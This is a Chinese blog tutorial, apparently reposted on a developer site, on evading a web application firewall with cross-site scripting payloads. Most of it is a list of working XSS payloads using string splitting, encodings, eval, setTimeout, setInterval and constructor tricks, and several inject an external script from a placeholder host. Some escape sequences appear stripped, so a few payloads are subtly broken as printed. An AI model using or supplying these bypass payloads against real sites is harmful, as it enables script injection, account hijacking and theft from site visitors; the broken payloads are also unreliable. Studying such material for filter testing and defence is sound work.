测试WAF来学习XSS姿势(二)

栏目: 编程工具 · 发布时间: 5年前

内容简介:对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。前几天花了10买了一个月的服务器,换个waf来测试。

测试WAF来学习XSS姿势(二)

前言

对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。

waf

前几天花了10买了一个月的服务器,换个waf来测试。

测试WAF来学习XSS姿势(二)

遗漏标签就不测试了,上一篇水文的分享的标签也可以过,不信找几个试试= =

好吧非常打脸,拦截了。

测试WAF来学习XSS姿势(二)

然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。

测试WAF来学习XSS姿势(二)

测试WAF来学习XSS姿势(二)

Top属性类似的补充

还记得上篇的top属性嘛

测试WAF来学习XSS姿势(二)

实际上可以利用的还有好几个,看到这里各位是否get到什么了。

测试WAF来学习XSS姿势(二)

我们可以利用的类似拼接的对象又多了几个,例如:

//一家人就是要整整齐齐
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >

这些都可以绕过waf,总结起来有 top self parent frames content window ,无疑 top 是最短的,所谓短小精悍,这里借用PKAV的一张ppt。

测试WAF来学习XSS姿势(二)

其他补充

除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧

将e字母url编码,成功弹窗也绕过waf。

<details open ontoggle=top['al%65rt'](1) >

测试WAF来学习XSS姿势(二)

其他编码

JS8编码:
<details open ontoggle=top['al145rt'](1) >
<details open ontoggle=top['141154145162164'](1) >
JS16编码:
<details open ontoggle=top['alx65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >

parseInt()与toString()

parseInt()

测试WAF来学习XSS姿势(二)

例子: alert 字符串用 parseInt函数 ,以基数为30转化后为 8680439

测试WAF来学习XSS姿势(二)

toString()

测试WAF来学习XSS姿势(二)

例子: toString函数 将返回的数字 8680439 ,以基数为30还原

测试WAF来学习XSS姿势(二)

这样你就能理解下面这个例子了。

<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >

测试WAF来学习XSS姿势(二)

俩个例子

例1

<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>

这个例子很巧妙,将 altlang 属性分别赋值合并起来就是 alert ,并在top属性内将2个属性相加。

例2

<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>

在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)

测试下,拦截了。

测试WAF来学习XSS姿势(二)

其实waf拦截的是alert这个关键字,换个 prompt() 函数就过了

测试WAF来学习XSS姿势(二)

也可以选择将 alert(1) 编码,因为有eval存在啊,直接拿来用

<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('141154145162164506151')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('u0061u006cu0065u0072u0074u0028u0031u0029')>

测试WAF来学习XSS姿势(二)

setTimeout()函数也是没问题的,毕竟也能执行代码。

<details open ontoggle=top[a='meout',b='setTi',b%2ba]('141154145162164506151')>

eval函数的补充

setTimeout

测试WAF来学习XSS姿势(二)

waf拦截

<svg/onload=setTimeout`alert(1)`>

测试WAF来学习XSS姿势(二)

编码下,就绕过了。

<svg/onload=setTimeout`alertu0028233u0029`>

测试WAF来学习XSS姿势(二)

setInterval

setInterval 不同,对于 setTimeout() 只执行code一次。

测试WAF来学习XSS姿势(二)

<svg/onload=setInterval('al'%2b'ert(1)')>

测试WAF来学习XSS姿势(二)

绕过waf,引用外部js。

<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>

测试WAF来学习XSS姿势(二)

拆分与编码
<svg/onload=u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(appendChild(createElement('sc162ipt')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(u0061ppendChild(u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>

结合函数:
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/onload=s=u0063reateElement('scr'%2b'ipt');u0062ody.u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >

关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页,这种方法在<<XSS跨站脚本gj剖析与防御>>有介绍过。我这里简单演示下,如果你了解或者不感兴趣可以跳过这段。

首先用 createElement方法 创建一个script标签。

测试WAF来学习XSS姿势(二)

接下来给<script>的 src属性 设置成外部url

测试WAF来学习XSS姿势(二)

可以看到<script>标签以及src属性已经被创建出来,但是并不在页面上输出啊。

测试WAF来学习XSS姿势(二)

我们就要用到 appendChild()方法 将变量s插入页面。

测试WAF来学习XSS姿势(二)

再来看看页面上

测试WAF来学习XSS姿势(二)

constructor属性

测试WAF来学习XSS姿势(二)

少年! Post 到什么了没有。

测试WAF来学习XSS姿势(二)

又是拆分。。注意后面的 ()

<svg/onload=Set.constructor('al'%2b'ert(1)')()>

测试WAF来学习XSS姿势(二)

反引号我看行。。注意后面2个反引号。

<svg/onload=Set.constructor`alx65rtx28/xss/x29```>

测试WAF来学习XSS姿势(二)

又来引用外部url。编码拆分以及结合函数,请参考上章= =,不然我怕有人说我水。。。

测试WAF来学习XSS姿势(二)

<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>

测试WAF来学习XSS姿势(二)

补充(又是补充,你**就不能一次讲完嘛!写个文章还划水!)

咳咳,该补充的还是要补充的,除了 Set 对象还有嘛?当然有的。

测试WAF来学习XSS姿势(二)

看些例子,都可以弹窗。

测试WAF来学习XSS姿势(二)

来个简单拆分。

测试WAF来学习XSS姿势(二)

总结起来就是 Set.constructor Map.constructor clear.constructor Array.constructor WeakSet.constructor (注意区分大小写的)

<svg/onload=Set.constructor`alx65rtx28/xss/x29```>
<svg/onload=Map.constructor`alx65rtx28/xss/x29```>
<svg/onload=clear.constructor`alx65rtx28/xss/x29```>
<svg/onload=Array.constructor`alx65rtx28/xss/x29```>
<svg/onload=WeakSet.constructor`alx65rtx28/xss/x29```>

引用外部…

测试WAF来学习XSS姿势(二)

感兴趣的同学可以关注: Github项目

参考致谢

vulnerability-lab.com

swisskyrepo/PayloadsAllTheThings


以上所述就是小编给大家介绍的《测试WAF来学习XSS姿势(二)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

安全之美

安全之美

Andy Oram、John Viega / 徐 波、沈晓斌 / 机械工业出版社华章公司 / 2011-4-28 / 65.00元

“这本深思熟虑的论文集(《安全之美》)帮助读者摆脱安全领域闪烁着欺骗光芒的心理恐惧,转而欣赏安全的微妙美感。本书描述了安全的阴和阳,以及引人注目的破坏性和闪亮光辉的建设者之间剑拔弩张的气氛。” ——Gary McGraw,Cigital公司CTO,《Software Security》及其他9本书的作者 大多数人不会太关注安全问题,直到他们的个人或商业系统受到攻击。这种发人深省的现象证......一起来看看 《安全之美》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具